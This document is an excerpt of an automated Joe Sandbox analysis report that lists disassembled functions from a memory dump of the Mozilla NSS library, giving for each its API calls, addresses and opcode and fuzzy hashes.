_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF17EB5
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CF17ED8

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction ID: 2793d1f1fa3d0deb54e2955116281fc35f5b1a7f691cdbebbfd8ee87a78722ff
Opcode Fuzzy Hash: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction Fuzzy Hash: 0531B5B2A041118FDB04CF08C8909DABBE2FF88318B1B816AD85C5BB11EB75EC55CBD1

Function 6CECDF00 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

Part of subcall function 6CE53090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE6AE42), ref: 6CE530AA
Part of subcall function 6CE53090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE530C7
Part of subcall function 6CE53090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CE530E5
Part of subcall function 6CE53090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CE53116
Part of subcall function 6CE53090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE5312B
Part of subcall function 6CE53090: PK11_DestroyObject.NSS3(?,?), ref: 6CE53154
Part of subcall function 6CE53090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE5317E

SECKEY_CopyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CECDBBD), ref: 6CECDFCF
SECKEY_DestroyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CECDFEE

Part of subcall function 6CE686D0: PK11_Authenticate.NSS3(?,00000001,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE68716
Part of subcall function 6CE686D0: TlsGetValue.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE68727
Part of subcall function 6CE686D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE6873B
Part of subcall function 6CE686D0: PR_Unlock.NSS3(?), ref: 6CE6876F
Part of subcall function 6CE686D0: PR_SetError.NSS3(00000000,00000000), ref: 6CE68787

Part of subcall function 6CE8F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CE8F854
Part of subcall function 6CE8F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CE8F868
Part of subcall function 6CE8F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CE8F882
Part of subcall function 6CE8F820: free.MOZGLUE(04C483FF,?,?), ref: 6CE8F889
Part of subcall function 6CE8F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CE8F8A4
Part of subcall function 6CE8F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CE8F8AB
Part of subcall function 6CE8F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CE8F8C9
Part of subcall function 6CE8F820: free.MOZGLUE(280F10EC,?,?), ref: 6CE8F8D0

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,6CECDBBD), ref: 6CECDFFC
PR_SetError.NSS3(FFFFE013,00000000,?,?,6CECDBBD), ref: 6CECE007

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Utilfree$CriticalSection$DeleteDestroy$Arena_CopyErrorK11_Private$AlgorithmAlloc_ArenaAuthenticateEnterFreeItem_ObjectPublicTag_UnlockValuememset
String ID:
API String ID: 3730430729-0
Opcode ID: 75ba608d1800f3b008f6192036fc22bace623813f114a0fb5816ef6174c00614
Instruction ID: dbf812a9528ad31bb8c2272df1caf4a69bc9f64c68bcab3ae069a7945092e886
Opcode Fuzzy Hash: 75ba608d1800f3b008f6192036fc22bace623813f114a0fb5816ef6174c00614
Instruction Fuzzy Hash: F23137B5B0024117D7109A799D86BAB72F8AF5530CF650139E91AC7B02FB36DA18C3E3

Function 6CE46C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CE46C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CE46CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CE46CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6CF68FE0), ref: 6CE46CFE

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: 3fb149989fea289d59f187dd61dfd40a5a84a305e89bcf82df43da61179ca456
Instruction ID: cee6b9e879b8dff83a465f39d4214e69a0ea91522a7cc6453ae254826dc337ee
Opcode Fuzzy Hash: 3fb149989fea289d59f187dd61dfd40a5a84a305e89bcf82df43da61179ca456
Instruction Fuzzy Hash: AE3194B5A002169FDB04DF65D891ABFBBF9EF45248F20843DD905D7710EB719905CBA0

Function 6CF54F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6CF54F5D
free.MOZGLUE(?), ref: 6CF54F74
free.MOZGLUE(?), ref: 6CF54F82
GetLastError.KERNEL32 ref: 6CF54F90

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: 006412e828d2a3a4e1db6559b244d3e06cd49696635f5cc765aa79a006d27af1
Instruction ID: a192799e6b3ad48face7bae65f3e79764c19efd79140cbfe1a32f29243b6d39a
Opcode Fuzzy Hash: 006412e828d2a3a4e1db6559b244d3e06cd49696635f5cc765aa79a006d27af1
Instruction Fuzzy Hash: 47315475A002094BEF00CF6CDC81BDBBBF8FF45348F440228EE25A7680DB35A92486A1

Function 6CEB6DE0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6CEB6E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEB6E57

Part of subcall function 6CEEC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEEC2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6CEB6E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6CEB6EAA

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID:
API String ID: 3163584228-0
Opcode ID: 01c564231d2a83c86047d303efd3afedd77820263a360f95f1a0813b140b4541
Instruction ID: 1ec1931224907d06234b12efda61f455c2903c6de6c15d1914e0ff656731f6df
Opcode Fuzzy Hash: 01c564231d2a83c86047d303efd3afedd77820263a360f95f1a0813b140b4541
Instruction Fuzzy Hash: 3831C332610512EFDB181E34DE043A6B7B8AB0631EF34063DE49AF6B80EB307654CB81

Function 6CE9DDE0 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,00000000,?,?,6CE9DDB1,?,00000000), ref: 6CE9DDF4

Part of subcall function 6CEA14C0: TlsGetValue.KERNEL32 ref: 6CEA14E0
Part of subcall function 6CEA14C0: EnterCriticalSection.KERNEL32 ref: 6CEA14F5
Part of subcall function 6CEA14C0: PR_Unlock.NSS3 ref: 6CEA150D

PORT_ArenaAlloc_Util.NSS3(?,00000054,?,00000000,00000000,?,?,6CE9DDB1,?,00000000), ref: 6CE9DE0B
PORT_Alloc_Util.NSS3(00000054,?,00000000,00000000,?,?,6CE9DDB1,?,00000000), ref: 6CE9DE17

Part of subcall function 6CEA0BE0: malloc.MOZGLUE(6CE98D2D,?,00000000,?), ref: 6CEA0BF8
Part of subcall function 6CEA0BE0: TlsGetValue.KERNEL32(6CE98D2D,?,00000000,?), ref: 6CEA0C15

PR_SetError.NSS3(FFFFE009,00000000), ref: 6CE9DE80

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaValue$CriticalEnterErrorMark_SectionUnlockmalloc
String ID:
API String ID: 3725328900-0
Opcode ID: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction ID: 8437669ba273d3a674306146e51de9c7fcd7a13dd2da17b89b7ddc6a85a24342
Opcode Fuzzy Hash: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction Fuzzy Hash: 2731A4B9D01B529BE700CF56D880656B7F4BFA531CB34822ED8198BB01E770F6A5CB91

Function 6CE8FE20 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CE65ADC,?,00000000,00000001,?,?,00000000,?,6CE5BA55,?,?), ref: 6CE8FE4B
EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CE8FE5F
PR_Unlock.NSS3(78831D74), ref: 6CE8FEC2
PR_SetError.NSS3(00000000,00000000), ref: 6CE8FED6

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 09bbd46ee2ac17a4c8ef7affb660130e214f139a106d8675f2fedad42ef38215
Instruction ID: cc2513ddd7b3ee2037c91f7e1d64ab422528adae501bae25430b089bd12ad9d2
Opcode Fuzzy Hash: 09bbd46ee2ac17a4c8ef7affb660130e214f139a106d8675f2fedad42ef38215
Instruction Fuzzy Hash: B7213431E026159BDB509F64D80479A7774BF0536CF240124DD0867F01E734E964CBE0

Function 6CE93F50 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 6CE93440: PK11_GetAllTokens.NSS3 ref: 6CE93481
Part of subcall function 6CE93440: PR_SetError.NSS3(00000000,00000000), ref: 6CE934A3
Part of subcall function 6CE93440: TlsGetValue.KERNEL32 ref: 6CE9352E
Part of subcall function 6CE93440: EnterCriticalSection.KERNEL32(?), ref: 6CE93542
Part of subcall function 6CE93440: PR_Unlock.NSS3(?), ref: 6CE9355B

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6CE7E80C,00000000,00000000,?,?,?,?,6CE88C5B,-00000001), ref: 6CE93FA1
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6CE7E80C,00000000,00000000,?,?,?,?,6CE88C5B,-00000001), ref: 6CE93FBA
PR_Unlock.NSS3(?,00000000,00000000,00000000,?,6CE7E80C,00000000,00000000,?,?,?,?,6CE88C5B,-00000001), ref: 6CE93FFE
PR_SetError.NSS3 ref: 6CE9401A

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$K11_Tokens
String ID:
API String ID: 3021504977-0
Opcode ID: f31334702612f4ba4d5aaa88f928809d243e04a041e5b1d1eb03704448439edc
Instruction ID: 250f9a733e55754027b4bf2d04d01a321f40824bd720a5470879cd4fc027bb4a
Opcode Fuzzy Hash: f31334702612f4ba4d5aaa88f928809d243e04a041e5b1d1eb03704448439edc
Instruction Fuzzy Hash: 5A318370904704CFDB00AF69D08426EBBF0FF89358F21592ED99987700EB30E885CB92

Function 6CE84FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6CE8B60F,00000000), ref: 6CE85003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6CE8B60F,00000000), ref: 6CE8501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6CE8B60F,00000000), ref: 6CE8504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6CE8B60F,00000000), ref: 6CE85064

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: eb9ca08b065a654970afc0c13c07dccc242907cf3d454ef01ca6d805aedf9196
Instruction ID: 157670081026ccaf9fdad62b65a1d09c409d46ea86cce347656c96625968d873
Opcode Fuzzy Hash: eb9ca08b065a654970afc0c13c07dccc242907cf3d454ef01ca6d805aedf9196
Instruction Fuzzy Hash: B03129B4A06606CFDB40EF68C48466ABBF4FF09348B21856DD95AD7700EB30E890CB91

Function 6CEA9F80 Relevance: 6.1, APIs: 4, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CEAA71A,FFFFFFFF,?,?), ref: 6CEA9FAB

Part of subcall function 6CEA14C0: TlsGetValue.KERNEL32 ref: 6CEA14E0
Part of subcall function 6CEA14C0: EnterCriticalSection.KERNEL32 ref: 6CEA14F5
Part of subcall function 6CEA14C0: PR_Unlock.NSS3 ref: 6CEA150D

PORT_ArenaGrow_Util.NSS3(?,?,?,00000000,6CEAA71A,6CEAA71A,00000000), ref: 6CEA9FD9

Part of subcall function 6CEA1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CE4895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE3F599,?,00000000), ref: 6CEA136A
Part of subcall function 6CEA1340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CE4895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE3F599,?,00000000), ref: 6CEA137E
Part of subcall function 6CEA1340: PL_ArenaGrow.NSS3(?,6CE3F599,?,00000000,?,6CE4895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE3F599,?), ref: 6CEA13CF
Part of subcall function 6CEA1340: PR_Unlock.NSS3(?,?,6CE4895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE3F599,?,00000000), ref: 6CEA145C

PORT_ArenaAlloc_Util.NSS3(?,00000008,6CEAA71A,6CEAA71A,00000000), ref: 6CEAA009
PR_SetError.NSS3(FFFFE013,00000000,6CEAA71A,6CEAA71A,00000000), ref: 6CEAA045

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Arena$Util$CriticalEnterSectionUnlockValue$Alloc_ErrorGrowGrow_Mark_
String ID:
API String ID: 3535121653-0
Opcode ID: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction ID: 338c30d5bf4b3a6620dec7dd4f4351b0bf2c079a687c3307ae198f06f810a6eb
Opcode Fuzzy Hash: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction Fuzzy Hash: B82183B46403069FE7009F96DC90F66B7B9BB4535CF24812C98298FB81E775D81ACB90

Function 6CEB2DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CEB2E08

Part of subcall function 6CEA14C0: TlsGetValue.KERNEL32 ref: 6CEA14E0
Part of subcall function 6CEA14C0: EnterCriticalSection.KERNEL32 ref: 6CEA14F5
Part of subcall function 6CEA14C0: PR_Unlock.NSS3 ref: 6CEA150D

PORT_NewArena_Util.NSS3(00000400), ref: 6CEB2E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6CEB2E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CEB2E95

Part of subcall function 6CEA1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CE488A4,00000000,00000000), ref: 6CEA1228
Part of subcall function 6CEA1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6CEA1238
Part of subcall function 6CEA1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6CE488A4,00000000,00000000), ref: 6CEA124B
Part of subcall function 6CEA1200: PR_CallOnce.NSS3(6CFA2AA4,6CEA12D0,00000000,00000000,00000000,?,6CE488A4,00000000,00000000), ref: 6CEA125D
Part of subcall function 6CEA1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6CEA126F
Part of subcall function 6CEA1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CEA1280
Part of subcall function 6CEA1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6CEA128E
Part of subcall function 6CEA1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6CEA129A
Part of subcall function 6CEA1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6CEA12A1

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: d6e58f0bbe15d58d71a7831b0eb1f149da361ab348efde15ee74e4c19e267999
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: 1521C5B5D003454BE701CF959E487BA36746FA134CF310269FD086B752F7B2E5958292

Function 6CE6ACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CE6ACC2

Part of subcall function 6CE42F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CE42F0A
Part of subcall function 6CE42F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE42F1D

Part of subcall function 6CE42AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6CE40A1B,00000000), ref: 6CE42AF0
Part of subcall function 6CE42AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE42B11

CERT_DestroyCertList.NSS3(00000000), ref: 6CE6AD5E

Part of subcall function 6CE857D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CE4B41E,00000000,00000000,?,00000000,?,6CE4B41E,00000000,00000000,00000001,?), ref: 6CE857E0
Part of subcall function 6CE857D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6CE85843

CERT_DestroyCertList.NSS3(?), ref: 6CE6AD36

Part of subcall function 6CE42F50: CERT_DestroyCertificate.NSS3(?), ref: 6CE42F65
Part of subcall function 6CE42F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CE42F83

free.MOZGLUE(?), ref: 6CE6AD4F

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: 2d62871933310d84a2acf4c9934bf033c4fc2d55f3f1de0ab8ab04c60e6cab1b
Instruction ID: c889206739f7a231385a06a9ebb851d1f3b9d1332ed457c72b7908d0cba96b69
Opcode Fuzzy Hash: 2d62871933310d84a2acf4c9934bf033c4fc2d55f3f1de0ab8ab04c60e6cab1b
Instruction Fuzzy Hash: 5E21C3B1D502148BEB10DF65D8065EEB7B4EF1520CF658068D809BBB01FB31AA49CBA1

Function 6CE93C80 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE93C9E
EnterCriticalSection.KERNEL32(?), ref: 6CE93CAE
PR_Unlock.NSS3(?), ref: 6CE93CEA
PR_SetError.NSS3(00000000,00000000), ref: 6CE93D02

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

